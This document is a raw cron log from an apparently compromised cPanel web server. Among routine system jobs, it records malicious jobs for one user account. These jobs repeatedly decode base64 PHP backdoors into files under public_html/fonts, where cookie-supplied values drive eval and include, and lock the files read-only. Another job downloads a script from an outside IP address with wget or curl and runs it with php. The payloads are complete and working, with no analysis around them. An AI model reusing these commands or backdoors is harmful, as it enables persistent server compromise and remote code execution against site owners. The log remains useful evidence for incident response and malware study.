Sep 20 11:05:01 ip-184-168-122-23 CROND[350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:05:01 ip-184-168-122-23 CROND[352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:05:01 ip-184-168-122-23 CROND[353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 11:05:01 ip-184-168-122-23 CROND[354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:05:01 ip-184-168-122-23 CROND[357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:05:01 ip-184-168-122-23 CROND[356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:06:01 ip-184-168-122-23 CROND[694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:06:01 ip-184-168-122-23 CROND[695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:06:01 ip-184-168-122-23 CROND[696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:06:01 ip-184-168-122-23 CROND[697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:06:01 ip-184-168-122-23 CROND[699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:07:01 ip-184-168-122-23 CROND[962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:07:01 ip-184-168-122-23 CROND[963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:07:01 ip-184-168-122-23 CROND[965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:07:01 ip-184-168-122-23 CROND[968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:08:01 ip-184-168-122-23 CROND[1234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:08:01 ip-184-168-122-23 CROND[1236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:08:01 ip-184-168-122-23 CROND[1238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:08:01 ip-184-168-122-23 CROND[1237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:08:01 ip-184-168-122-23 CROND[1239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:09:01 ip-184-168-122-23 CROND[1575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:09:01 ip-184-168-122-23 CROND[1577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:09:01 ip-184-168-122-23 CROND[1578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:09:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:09:01 ip-184-168-122-23 CROND[1581]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:10:01 ip-184-168-122-23 CROND[1870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1873]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:10:01 ip-184-168-122-23 CROND[1875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:10:01 ip-184-168-122-23 CROND[1877]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 11:11:01 ip-184-168-122-23 CROND[2167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:11:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:11:01 ip-184-168-122-23 CROND[2169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:11:01 ip-184-168-122-23 CROND[2170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:12:01 ip-184-168-122-23 CROND[2493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:12:01 ip-184-168-122-23 CROND[2496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:12:01 ip-184-168-122-23 CROND[2495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:12:01 ip-184-168-122-23 CROND[2498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:12:01 ip-184-168-122-23 CROND[2497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:13:01 ip-184-168-122-23 CROND[2745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:13:01 ip-184-168-122-23 CROND[2747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:13:01 ip-184-168-122-23 CROND[2746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:13:01 ip-184-168-122-23 CROND[2749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:14:01 ip-184-168-122-23 CROND[3023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:14:01 ip-184-168-122-23 CROND[3027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:14:01 ip-184-168-122-23 CROND[3026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:14:01 ip-184-168-122-23 CROND[3025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:14:01 ip-184-168-122-23 CROND[3028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:15:02 ip-184-168-122-23 CROND[3291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:15:02 ip-184-168-122-23 CROND[3293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:15:02 ip-184-168-122-23 CROND[3297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:15:02 ip-184-168-122-23 CROND[3299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:15:02 ip-184-168-122-23 CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:15:02 ip-184-168-122-23 CROND[3298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:16:01 ip-184-168-122-23 CROND[3539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:16:01 ip-184-168-122-23 CROND[3538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:16:01 ip-184-168-122-23 CROND[3541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:16:01 ip-184-168-122-23 CROND[3544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:16:01 ip-184-168-122-23 CROND[3542]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 11:16:01 ip-184-168-122-23 CROND[3546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:17:01 ip-184-168-122-23 CROND[3816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:17:01 ip-184-168-122-23 CROND[3817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:17:01 ip-184-168-122-23 CROND[3815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
